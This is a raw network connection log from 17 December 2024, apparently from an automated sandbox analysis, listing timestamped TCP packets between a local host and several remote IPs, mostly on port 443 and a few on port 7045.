Dec 17, 2024 03:52:22.257263899 CET	49789	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:22.257752895 CET	49789	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:22.257791996 CET	443	49789	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:23.114696980 CET	443	49786	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:23.114770889 CET	443	49787	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:23.114798069 CET	49786	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:23.114839077 CET	49787	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:23.115780115 CET	49787	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:23.115789890 CET	443	49787	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:23.115820885 CET	49786	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:23.115835905 CET	443	49786	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:23.115875959 CET	49786	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:23.115962982 CET	49787	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:23.116396904 CET	443	49786	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:23.116415024 CET	443	49787	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:23.116456985 CET	49786	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:23.116481066 CET	49787	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:23.116626024 CET	49790	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:23.116658926 CET	443	49790	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:23.116688013 CET	49791	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:23.116714001 CET	49790	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:23.116770029 CET	443	49791	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:23.116836071 CET	49791	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:23.117178917 CET	49790	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:23.117191076 CET	443	49790	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:23.117316961 CET	49791	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:23.117358923 CET	443	49791	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:23.308629990 CET	443	49788	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:23.308732986 CET	49788	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:23.309643984 CET	49788	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:23.309670925 CET	443	49788	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:23.309734106 CET	49788	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:23.310365915 CET	443	49788	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:23.310390949 CET	49792	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:23.310430050 CET	443	49792	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:23.310435057 CET	49788	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:23.310494900 CET	49792	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:23.310959101 CET	49792	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:23.310970068 CET	443	49792	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:23.497338057 CET	443	49789	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:23.497412920 CET	49789	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:23.498356104 CET	49789	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:23.498385906 CET	443	49789	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:23.498466015 CET	49789	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:23.498548985 CET	443	49789	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:23.498608112 CET	49789	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:23.499155045 CET	49793	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:23.499182940 CET	443	49793	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:23.499236107 CET	49793	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:23.499855995 CET	49793	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:23.499864101 CET	443	49793	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:24.441203117 CET	443	49791	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:24.441438913 CET	49791	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:24.442390919 CET	49791	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:24.442420959 CET	443	49791	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:24.442536116 CET	49791	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:24.442863941 CET	443	49791	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:24.442935944 CET	49791	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:24.443496943 CET	49794	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:24.443587065 CET	443	49794	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:24.443685055 CET	49794	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:24.444259882 CET	49794	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:24.444299936 CET	443	49794	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:24.696156025 CET	443	49792	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:24.696228981 CET	49792	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:24.697261095 CET	49792	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:24.697271109 CET	443	49792	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:24.697362900 CET	49792	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:24.697915077 CET	443	49792	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:24.697967052 CET	49792	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:24.698091030 CET	49795	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:24.698174000 CET	443	49795	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:24.698267937 CET	49795	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:24.698909998 CET	49795	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:24.698946953 CET	443	49795	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:24.706403971 CET	443	49793	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:24.706463099 CET	49793	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:24.707647085 CET	49793	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:24.707650900 CET	443	49793	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:24.707783937 CET	49793	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:24.707813025 CET	443	49793	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:24.707855940 CET	49793	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:24.708483934 CET	49796	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:24.708509922 CET	443	49796	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:24.708558083 CET	49796	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:24.709036112 CET	49796	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:24.709043026 CET	443	49796	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:24.759777069 CET	443	49790	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:24.759876013 CET	49790	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:24.760591030 CET	49790	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:24.760598898 CET	443	49790	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:24.760720968 CET	49790	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:24.761029959 CET	443	49790	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:24.761097908 CET	49790	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:24.761491060 CET	49797	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:24.761571884 CET	443	49797	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:24.761648893 CET	49797	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:24.762110949 CET	49797	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:24.762149096 CET	443	49797	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:25.655782938 CET	443	49794	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:25.655922890 CET	49794	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:25.657037020 CET	49794	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:25.657069921 CET	443	49794	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:25.657110929 CET	49794	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:25.657501936 CET	443	49794	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:25.657567978 CET	49794	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:25.658158064 CET	49798	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:25.658209085 CET	443	49798	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:25.658282995 CET	49798	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:25.658901930 CET	49798	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:25.658934116 CET	443	49798	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:25.936402082 CET	443	49796	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:25.936480045 CET	49796	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:25.937458038 CET	49796	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:25.937464952 CET	443	49796	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:25.937552929 CET	49796	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:25.937627077 CET	443	49796	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:25.937669992 CET	49796	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:25.938487053 CET	49799	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:25.938576937 CET	443	49799	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:25.938666105 CET	49799	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:25.939186096 CET	49799	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:25.939225912 CET	443	49799	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:26.112365961 CET	443	49795	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:26.112581015 CET	49795	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:26.113640070 CET	49795	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:26.113677025 CET	443	49795	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:26.113735914 CET	49795	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:26.113950968 CET	443	49795	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:26.114006996 CET	49795	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:26.114612103 CET	49800	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:26.114701033 CET	443	49800	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:26.114778042 CET	49800	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:26.115264893 CET	49800	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:26.115298986 CET	443	49800	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:26.186898947 CET	49801	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:52:26.292897940 CET	443	49797	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:26.293078899 CET	49797	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:26.294415951 CET	49797	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:26.294445038 CET	443	49797	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:26.294563055 CET	49797	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:26.294847012 CET	443	49797	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:26.294913054 CET	49797	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:26.295352936 CET	49802	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:26.295440912 CET	443	49802	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:26.295520067 CET	49802	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:26.296008110 CET	49802	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:26.296086073 CET	443	49802	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:26.306752920 CET	7045	49801	46.246.82.66	192.168.2.4
Dec 17, 2024 03:52:26.306832075 CET	49801	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:52:26.307077885 CET	49801	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:52:26.426862001 CET	7045	49801	46.246.82.66	192.168.2.4
Dec 17, 2024 03:52:26.884021044 CET	443	49798	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:26.884100914 CET	49798	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:26.885658979 CET	49798	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:26.885673046 CET	443	49798	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:26.885915995 CET	49798	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:26.886203051 CET	443	49798	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:26.886259079 CET	49798	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:26.887145996 CET	49803	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:26.887213945 CET	443	49803	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:26.887289047 CET	49803	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:26.887820959 CET	49803	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:26.887851000 CET	443	49803	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:27.495305061 CET	443	49799	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:27.495398998 CET	49799	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:27.497620106 CET	443	49800	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:27.497720003 CET	49800	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:27.499082088 CET	49799	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:27.499111891 CET	443	49799	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:27.499243975 CET	49800	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:27.499265909 CET	443	49800	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:27.499294996 CET	49799	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:27.499356985 CET	49800	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:27.499362946 CET	443	49799	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:27.499419928 CET	49799	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:27.499928951 CET	443	49800	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:27.500134945 CET	49800	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:27.500185966 CET	49805	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:27.500279903 CET	443	49805	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:27.500323057 CET	49804	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:27.500344038 CET	443	49804	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:27.500416994 CET	49805	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:27.500899076 CET	49804	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:27.500899076 CET	49804	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:27.500957966 CET	443	49804	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:27.500984907 CET	49805	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:27.501024961 CET	443	49805	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:27.928134918 CET	443	49802	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:27.928265095 CET	49802	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:27.929467916 CET	49802	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:27.929497004 CET	443	49802	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:27.929580927 CET	49802	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:27.930214882 CET	443	49802	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:27.930290937 CET	49802	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:27.930357933 CET	49806	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:27.930450916 CET	443	49806	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:27.930537939 CET	49806	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:27.931071997 CET	49806	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:27.931107044 CET	443	49806	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:28.105113029 CET	443	49803	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:28.105211020 CET	49803	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:28.106368065 CET	49803	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:28.106400013 CET	443	49803	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:28.106498003 CET	49803	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:28.107098103 CET	443	49803	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:28.107260942 CET	49807	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:28.107271910 CET	49803	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:28.107373953 CET	443	49807	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:28.107450008 CET	49807	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:28.108062029 CET	49807	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:28.108097076 CET	443	49807	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:28.895138025 CET	443	49804	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:28.895251036 CET	49804	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:28.896262884 CET	49804	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:28.896291971 CET	443	49804	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:28.896400928 CET	49804	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:28.896490097 CET	443	49804	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:28.896552086 CET	49804	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:28.897303104 CET	49808	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:28.897393942 CET	443	49808	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:28.897478104 CET	49808	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:28.897978067 CET	49808	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:28.898022890 CET	443	49808	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:29.057967901 CET	443	49805	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:29.058098078 CET	49805	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:29.059142113 CET	49805	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:29.059169054 CET	443	49805	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:29.059262037 CET	49805	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:29.059869051 CET	443	49805	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:29.059937954 CET	49805	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:29.060084105 CET	49809	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:29.060165882 CET	443	49809	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:29.060257912 CET	49809	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:29.060754061 CET	49809	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:29.060790062 CET	443	49809	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:29.130280972 CET	7045	49801	46.246.82.66	192.168.2.4
Dec 17, 2024 03:52:29.130353928 CET	49801	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:52:29.155715942 CET	49801	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:52:29.275362968 CET	7045	49801	46.246.82.66	192.168.2.4
Dec 17, 2024 03:52:29.320323944 CET	443	49807	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:29.320444107 CET	49807	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:29.328841925 CET	49807	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:29.328872919 CET	443	49807	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:29.329471111 CET	443	49807	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:29.329526901 CET	49807	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:29.332675934 CET	49807	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:29.332705975 CET	443	49807	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:29.337106943 CET	49810	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:29.337197065 CET	443	49810	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:29.337286949 CET	49810	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:29.341794968 CET	49810	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:29.341829062 CET	443	49810	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:29.468439102 CET	443	49806	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:29.468549013 CET	49806	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:29.475055933 CET	49806	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:29.475089073 CET	443	49806	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:29.475188971 CET	49806	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:29.475347996 CET	443	49806	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:29.475406885 CET	49806	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:29.477925062 CET	49811	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:29.477998018 CET	443	49811	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:29.478085995 CET	49811	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:29.478574991 CET	49811	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:29.478605986 CET	443	49811	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:30.280014038 CET	443	49808	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:30.280210972 CET	49808	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:30.281155109 CET	49808	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:30.281208038 CET	443	49808	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:30.281265974 CET	49808	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:30.281373978 CET	443	49808	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:30.281426907 CET	49808	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:30.282233000 CET	49812	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:30.282339096 CET	443	49812	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:30.282427073 CET	49812	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:30.282908916 CET	49812	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:30.282941103 CET	443	49812	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:30.563194990 CET	443	49810	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:30.563302994 CET	49810	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:30.564282894 CET	49810	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:30.564313889 CET	443	49810	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:30.564394951 CET	49810	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:30.565067053 CET	443	49810	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:30.565463066 CET	49813	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:30.565491915 CET	49810	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:30.565541029 CET	443	49813	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:30.565618992 CET	49813	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:30.566159964 CET	49813	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:30.566191912 CET	443	49813	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:30.594970942 CET	443	49809	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:30.595103979 CET	49809	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:30.595707893 CET	49809	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:30.595736027 CET	443	49809	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:30.595832109 CET	49809	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:30.596371889 CET	49814	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:30.596461058 CET	443	49814	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:30.596483946 CET	443	49809	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:30.596559048 CET	49809	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:30.596909046 CET	49814	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:30.596909046 CET	49814	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:30.597042084 CET	443	49814	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:31.007433891 CET	443	49811	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:31.007522106 CET	49811	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:31.008526087 CET	49811	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:31.008554935 CET	443	49811	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:31.008630991 CET	49811	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:31.008806944 CET	443	49811	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:31.009306908 CET	49815	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:31.009335041 CET	49811	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:31.009402990 CET	443	49815	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:31.009475946 CET	49815	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:31.011929989 CET	49815	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:31.011981010 CET	443	49815	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:31.657215118 CET	443	49812	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:31.657299042 CET	49812	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:31.658312082 CET	49812	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:31.658344030 CET	443	49812	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:31.658412933 CET	49812	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:31.658504963 CET	443	49812	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:31.658564091 CET	49812	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:31.659210920 CET	49816	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:31.659287930 CET	443	49816	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:31.659385920 CET	49816	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:31.659847021 CET	49816	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:31.659879923 CET	443	49816	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:31.780522108 CET	443	49813	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:31.780620098 CET	49813	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:31.782428980 CET	49813	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:31.782454014 CET	443	49813	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:31.782541990 CET	49813	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:31.782938004 CET	443	49813	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:31.783003092 CET	49813	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:31.783479929 CET	49817	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:31.783565044 CET	443	49817	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:31.783663988 CET	49817	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:31.784172058 CET	49817	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:31.784202099 CET	443	49817	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:32.158721924 CET	443	49814	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:32.158967972 CET	49814	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:32.186156034 CET	49814	443	192.168.2.4	199.232.192.209
